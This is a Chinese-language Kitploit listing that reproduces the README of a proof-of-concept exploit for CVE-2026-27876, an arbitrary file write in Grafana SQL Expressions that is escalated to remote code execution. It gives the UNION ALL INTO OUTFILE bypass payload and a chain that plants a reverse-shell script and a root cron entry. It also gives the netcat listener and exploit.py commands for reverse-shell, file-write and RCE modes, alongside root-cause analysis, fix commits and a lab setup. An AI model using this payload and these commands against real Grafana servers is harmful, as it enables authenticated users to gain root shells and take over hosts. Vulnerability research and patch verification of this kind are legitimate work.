Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/atiilla/cve-2026-27876
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育红队
GitHubatiilla/cve-2026-27876

CVE-2026-27876

Grafana SQL 表达式任意文件写入到 RCE

查看仓库
0天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-27876:Grafana SQL 表达式任意文件写入导致远程代码执行

CVSS 9.1 严重 | 任意文件写入 | 远程代码执行

演示

https://github.com/user-attachments/assets/c84a4b63-7928-4dba-a069-3bafa036ce56

概述

Grafana 的 SQL 表达式功能(sqlExpressions 开关)使用进程内 SQL 引擎(dolthub/go-mysql-server),其 AST 白名单存在缺陷。SetOp 节点(UNION ALL)能通过验证,且其 walkSubtree() 不会遍历 Into 子节点——从而允许 INTO OUTFILE 以 Grafana 进程用户身份向服务器文件系统写入任意文件。

任何已认证用户(Viewer 角色或更高权限)均可通过基于 cron 的反向 Shell 将其升级为完全远程代码执行。

受影响版本

需要启用 sqlExpressions 功能开关。

根本原因

pkg/expr/sql/ 中存在两个叠加缺陷:

  1. parser_allow.go:allowedNode() 使用命名返回值 b = true。*sqlparser.SetOp 分支返回 true(允许),且 SetOp.walkSubtree() 不会遍历 Into 子节点。这意味着 UNION ALL ... INTO OUTFILE 可完全绕过白名单。

  2. db.go:创建 SQL 引擎上下文时未使用 WithDisableFileWrites(true),因此 INTO OUTFILE 会写入磁盘。

绕过语法

root@kitploit:~
(SELECT 'line1') UNION ALL (SELECT 'line2') INTO OUTFILE '/target/path'

单个 (SELECT ...) INTO OUTFILE 会产生 ParenSelect 节点,该节点会被拦截。两个或更多 SELECT 部分通过 UNION ALL 连接后会产生 SetOp 节点,从而绕过检查。

利用链

root@kitploit:~
1. 认证(Viewer 角色即可)
2. 向 /api/ds/query 发送 POST 请求,使用 __expr__ 数据源,类型为 "sql"
3. UNION ALL INTO OUTFILE 将反向 Shell 脚本写入 /tmp/
4. 第二次写入将 cron 条目放入 /etc/crontabs/root
5. Cron 在 60 秒内触发 -> 以 root 身份获得反向 Shell

使用方法

实验环境搭建

root@kitploit:~
cd lab/
docker compose up -d
# 等待 Grafana 就绪(约 15 秒)

Grafana 运行在 http://localhost:3333,凭据为 admin:admin。

运行漏洞利用

终端 1 — 监听器:

root@kitploit:~
nc -lvnp 4444

终端 2 — 漏洞利用:

root@kitploit:~
cd poc/
python3 exploit.py -t http://localhost:3333 --revshell --lhost 172.28.0.1 --lport 4444

反向 Shell 将在 60 秒内建立。

其他模式

root@kitploit:~
# 检查目标是否存在漏洞(不进行写入)
python3 exploit.py -t http://TARGET:3000 --check

# 写入任意文件
python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-content "hello"

# 将本地文件写入目标
python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-file ./local.txt

# 通过数据源配置实现远程代码执行(无需 cron)
python3 exploit.py -t http://TARGET:3000 --rce

清理

root@kitploit:~
docker exec grafana-cve-2026-27876 rm -f /etc/crontabs/root /tmp/.grafana_rce_*.sh

若需在之前运行后再次执行漏洞利用,请先进行清理——INTO OUTFILE 无法覆盖已存在的文件。

修复方案

提交 0e5d9e01ef31f072fd41626cd744699374e70127(PR #121514):

  1. parser_allow.go:case *sqlparser.SetOp: return v.GetInto() == nil
  2. parser_allow.go:case *sqlparser.Into: return v == nil
  3. db.go:mysql.WithDisableFileWrites(true)

文件结构

root@kitploit:~
.
├── README.md
├── analysis.md              # 完整根本原因分析
├── lab/
│   ├── docker-compose.yml   # Grafana 12.4.0 实验环境(已验证)
│   ├── Dockerfile           # 支持 cron 的自定义镜像
│   ├── entrypoint.sh        # 启动 crond + Grafana
│   └── setup.sh             # 自动配置脚本
└── poc/
    ├── exploit.py           # 包含远程代码执行的完整 PoC
    └── cvss-justification.md

参考链接

  • 修复:https://github.com/grafana/grafana/commit/0e5d9e01ef31f072fd41626cd744699374e70127
  • PR:https://github.com/grafana/grafana/pull/121514
  • 安全公告:https://grafana.com/security/security-advisories/cve-2026-27876/

免责声明

仅限授权的安全研究和受控实验环境测试使用。未经明确许可,请勿对任何系统使用。

下载工具
版本范围受影响版本已修复版本
11.6.x11.6.0 – 11.6.1311.6.14
12.0.x – 12.1.x12.0.0 – 12.1.912.1.10
12.2.x12.2.0 – 12.2.712.2.8
12.3.x12.3.0 – 12.3.512.3.6
12.4.x12.4.0 – 12.4.112.4.2